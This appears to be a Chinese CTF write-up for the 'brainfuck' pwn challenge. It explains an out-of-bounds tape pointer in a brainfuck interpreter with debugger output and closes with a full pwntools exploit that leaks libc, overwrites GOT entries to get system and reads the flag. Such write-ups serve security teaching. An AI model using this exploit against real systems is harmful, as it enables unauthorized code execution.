  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>打过CTF的肯定都知道brainfuck，这里不多说了</p>
<p>main没什么特别，就是把tape的指针转成整型。然后进入一个简单的brain fuck模拟程序</p>
<p>这个程序遍历输入的字符，然后根据字符内容做一些操作</p>
<table>
	<thead>
			<tr>
					<th>字符</th>
					<th>操作</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>+</td>
					<td>p指向的值自增1，就是tape+1</td>
			</tr>
			<tr>
					<td>,</td>
					<td>读取下一个字符，赋给p指向的值，改写tape</td>
			</tr>
			<tr>
					<td>-</td>
					<td>p指向的值自减1，就是tape-1</td>
			</tr>
			<tr>
					<td>.</td>
					<td>打印p指向的值，打印tape</td>
			</tr>
			<tr>
					<td>&lt;</td>
					<td>p自减，指p的值，也就是保存的tape地址</td>
			</tr>
			<tr>
					<td>&gt;</td>
					<td>p自增，指p的值，也就是保存的tape地址</td>
			</tr>
			<tr>
					<td>[</td>
					<td>不支持</td>
			</tr>
	</tbody>
</table>
<p>漏洞在于do_brainfuck没有什么限制，通过<code>&lt;</code>和<code>&gt;</code>可以把指针指向正负1024的区域。用<code>.</code>打印p的值，计算偏移。然后来来回回调用输入。</p>
<p>这里的利用点是</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="nf">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">1024</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>把 memset改成gets，fgets改成system，因为他们都有s参数，这样可以把参数写成<code>/bin/sh</code>，达到命令执行</p>
<p>问题在于如何获取fgets和system，他们都在libc里面，所以需要泄露libc，而brainfuck模拟器函数，可以做到这一点，我们先移动指针，然后打印指针就行了。</p>
<p>这里没有开PIE，所以本地地址与远程一样。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; p &amp;p
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="gp">$</span><span class="nv">1</span> <span class="o">=</span> <span class="o">(</span>&lt;data variable, no debug info&gt; *<span class="o">)</span> 0x804a080 &lt;p&gt;
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">pwndbg&gt; p &amp;tape
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="gp">$</span><span class="nv">2</span> <span class="o">=</span> <span class="o">(</span>&lt;data variable, no debug info&gt; *<span class="o">)</span> 0x804a0a0 &lt;tape&gt;
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">pwndbg&gt; x/x &amp;p
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">0x804a080 &lt;p&gt;:  0x0804a0a0
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">pwndbg&gt; x/x &amp;tape
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">0x804a0a0 &lt;tape&gt;:       0x00000000
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以看到，p里存储的是tape的地址，在我输入<code>&lt;</code>，进行一次有效switch后，保存的值果然减少了1：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; x/x &amp;p
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">0x804a080 &lt;p&gt;:  0x0804a09f
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我输入<code>,</code>，然后输入<code>KKKK</code>，getchar只取一个值，并且赋给了起始位置：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; x/x &amp;tape
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">0x804a0a0 &lt;tape&gt;:       0x0000004b
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>所以写入地址的话，要每次移动一个字节再写入。小端序是低地址在低位，所以写地址应该<code>,&gt;</code>4次。泄露地址要<code>.&gt;</code>4次，接收它无需做一次逆序拼接。用pwntools的<code>u32</code>解包就自动把小端序字节流解码成正常地址。</p>
<p><strong>注意，逐个读写字节后，指针指向末尾，应该再<code>&lt;</code>4次，让指针指向开头，也就是还原指针的位置，后续做其他got表项的计算更方便点。</strong></p>
<blockquote>
<p>我在调试的时候用的<code>recv(4)</code>接收地址，但是有时候成功有时候失败，因为recv是最多读 4 字节，只要当前缓冲区里有数据就先返回，而Linux pipe / stdio 调度导致：有时候4字节一起到达，有时候只到1字节，有时候2+2，有时候3+1。所以这里改用<code>recvn(4)</code>，它表示一定等到 4 字节再返回。</p>
<p>如何写？由于getchar只从缓冲区取一个字节，所以我们一次发四个字节，它写一次，移动一下，再读写一次。
{: .prompt-tip }</p>
</blockquote>
<p>思路：泄漏putchar真实地址，计算偏移。根据偏移计算system和gets真实地址。改写putchar表项值为main，修改memset为gets,修改fgets为system。最后再用<code>.</code>触发putchar即可，从而调用main，调用里面的system。</p>
<p>小插曲，我脚本是在靶机上面vim写的。我逻辑检查了许多遍，完全没有问题，但靶机本地就是拿不到shell，我改成<code>remote('localhost', 9001)</code>居然拿到了shell。然后恍然大悟，靶机用的libc是<code>/lib/i386-linux-gnu/libc.so.6</code>，即使服务也在靶机上的，但是那个服务用的是题目给的<code>/home/brainfuck/libc-2.23.so</code>。所以在获取libc里的函数地址时就对不上了。</p>
<p>所以打本地就用ldd看一下，再加载本地的。打远程再切换到系统给的。</p>
<p>直接出flag的exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/home/brainfuck/libc-2.23.so&#39;</span><span class="p">)</span> <span class="c1"># remote</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># libc = ELF(&#39;/lib/i386-linux-gnu/libc.so.6&#39;) # local</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/home/brainfuck/brainfuck&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">main_ad</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">tape_ad</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;tape&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">putchar_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;putchar&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">memset_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;memset&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">fgets_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;fgets&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">move</span> <span class="o">=</span> <span class="n">tape_ad</span> <span class="o">-</span> <span class="n">putchar_got</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;.&#39;</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="n">move</span> <span class="c1"># trigger putchar &amp; move to putchar</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;.&gt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># print putchar address</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;,&gt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># write main address</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="n">putchar_got</span> <span class="o">-</span> <span class="n">memset_got</span><span class="p">)</span> <span class="c1"># move to memset</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;,&gt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># write gets address</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="n">memset_got</span> <span class="o">-</span> <span class="n">fgets_got</span><span class="p">)</span> <span class="c1"># move to fgets</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;,&gt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;&lt;&#39;</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># write system</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;.&#39;</span> <span class="c1"># ret to main</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1"># io = process(&#39;/home/brainfuck/brainfuck&#39;)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span><span class="mi">9001</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39; [ ]</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># recv bytes of first .</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="n">putchar_ad</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvn</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">putchar_ad</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">putchar_ad</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="n">putchar_ad</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;putchar&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">gets_ad</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;gets&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">offset</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">system_ad</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">offset</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="n">main_ad</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="n">gets_ad</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="n">system_ad</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;[ ]</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;cat b*/f*&#39;</span><span class="p">)</span>
